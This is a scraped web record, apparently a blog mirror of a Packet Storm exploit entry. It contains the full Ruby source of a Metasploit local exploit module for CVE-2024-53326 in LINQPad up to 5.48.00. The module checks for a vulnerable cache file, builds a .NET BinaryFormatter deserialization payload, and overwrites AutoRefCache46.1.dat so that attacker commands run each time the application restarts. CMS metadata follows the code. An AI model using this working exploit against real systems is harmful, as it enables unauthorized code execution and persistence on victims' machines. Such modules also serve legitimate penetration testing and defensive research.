{“lastseen”:”2025-11-11T17:05:03″,”description”:”This Metasploit module exploits a bug in LINQPad up to version 5.48.00. The bug is only exploitable in the…”,”published”:”2025-11-11T00:00:00″,”modified”:”2025-11-11T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 LINQPad File Overwrite”,”source”:””,”references”:””,”id”:”PACKETSTORM:211443″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2024-53326″],”sourceData”:”##\\n # This module requires Metasploit: https:\/\/metasploit.com\/download\\n # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n ##\\n \\n class MetasploitModule \\u003c Msf::Exploit::Local\\n Rank = NormalRanking # https:\/\/docs.metasploit.com\/docs\/using-metasploit\/intermediate\/exploit-ranking.html\\n \\n # includes file?, directory?\\n include Msf::Post::File\\n include Msf::Exploit::Local::Persistence\\n \\n # includes generate\\n include Msf::Util::DotNetDeserialization\\n prepend Msf::Exploit::Remote::AutoCheck\\n \\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘LINQPad Deserialization’,\\n ‘Description’ =\\u003e %q{\\n This module exploits a bug in LIQPad up to version 5.48.00. The bug is only exploitable in paid version of software. The core of a bug is cache file containing deserialized data, which attacker can overwrite with malicious payload. The data gets deserialized every time the app restarts.\\n },\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘Author’ =\\u003e [\\n ‘msutovsky-r7 \\u003cmartin_sutovsky@rapid7.com\\u003e’,\\n ‘James Williams’ # original research\\n ],\\n ‘Platform’ =\\u003e ‘win’,\\n ‘SessionTypes’ =\\u003e [ ‘shell’, ‘meterpreter’ ],\\n ‘Targets’ =\\u003e [[ ‘Windows’, { ‘Arch’ =\\u003e ARCH_CMD } ]],\\n ‘Privileged’ =\\u003e true,\\n ‘References’ =\\u003e [\\n [ ‘URL’, ‘https:\/\/trustedsec.com\/blog\/discovering-a-deserialization-vulnerability-in-linqpad’],\\n [ ‘CVE’, ‘2024-53326’]\\n ],\\n ‘DisclosureDate’ =\\u003e ‘2024-12-03’,\\n ‘DefaultTarget’ =\\u003e 0,\\n ‘Notes’ =\\u003e {\\n ‘Stability’ =\\u003e [CRASH_SAFE],\\n ‘Reliability’ =\\u003e [REPEATABLE_SESSION],\\n ‘SideEffects’ =\\u003e [ARTIFACTS_ON_DISK]\\n }\\n )\\n )\\n register_options([\\n OptString.new(‘CACHE_PATH’, [true, ‘Path to cache file directory containing deserialized data’]),\\n ])\\n end\\n \\n # Simplify pulling the writable directory variable\\n \\n def check\\n if !directory?(datastore[‘Cache_path’])\\n return Exploit::CheckCode::Unknown(‘Cache directory doesn\\\\’t exist’)\\n elsif !file?(datastore[‘CACHE_PATH’] + ‘\/autorefcache46.1.dat’)\\n return Exploit::CheckCode::Unknown(‘Cannot find cache file’)\\n elsif file?(datastore[‘CACHE_PATH’] + ‘\/autorefcache46.2.dat’)\\n return Exploit::CheckCode::Safe(‘Contains not vulnerable version of LINQPad’)\\n else\\n return Exploit::CheckCode::Appears(‘LINQPad and vulnerable cache file present, target possibly exploitable’)\\n end\\n end\\n \\n def install_persistence\\n # generate payload\\n vprint_status(‘Create deserialization payload’)\\n \\n dotnet_payload = ::Msf::Util::DotNetDeserialization.generate(\\n payload.encoded, # this is the Operating System command to run\\n gadget_chain: :TextFormattingRunProperties,\\n formatter: :BinaryFormatter\\n )\\n vprint_status(‘Saving the original content’)\\n cached_file_content = read_file(datastore[‘CACHE_PATH’] + ‘\/AutoRefCache46.1.dat’)\\n backup_conf_path = store_loot(datastore[‘CACHE_PATH’] + ‘\/AutoRefCache46.1.dat’, ‘text\/plain’, session, cached_file_content, ‘AutoRefCached46.1.dat’, ‘autorefcache46.1.dat backup’)\\n vprint_status(\\”Saved at: #{backup_conf_path}\\”)\\n \\n @clean_up_rc \\u003c\\u003c \\”upload #{backup_conf_path} #{datastore[‘CACHE_PATH’]}\/AutoRefCache46.1.dat\\”\\n \\n vprint_status(‘Overwriting file’)\\n # try to overwrite cache file\\n fail_with(Failure::PayloadFailed, ‘Writing payload to cache file failed’) unless write_file(datastore[‘CACHE_PATH’] + ‘\/AutoRefCache46.1.dat’, dotnet_payload)\\n end\\n end”,”sourceHref”:”https:\/\/packetstorm.news\/download\/211443″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/211443\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-11-11T17:05:03″,”description”:”This Metasploit module exploits a bug in LINQPad up to version 5.48.00. The bug is only exploitable in the…”,”published”:”2025-11-11T00:00:00″,”modified”:”2025-11-11T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 LINQPad File Overwrite”,”source”:””,”references”:””,”id”:”PACKETSTORM:211443″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2024-53326″],”sourceData”:”##\\n # This module…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-25671","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n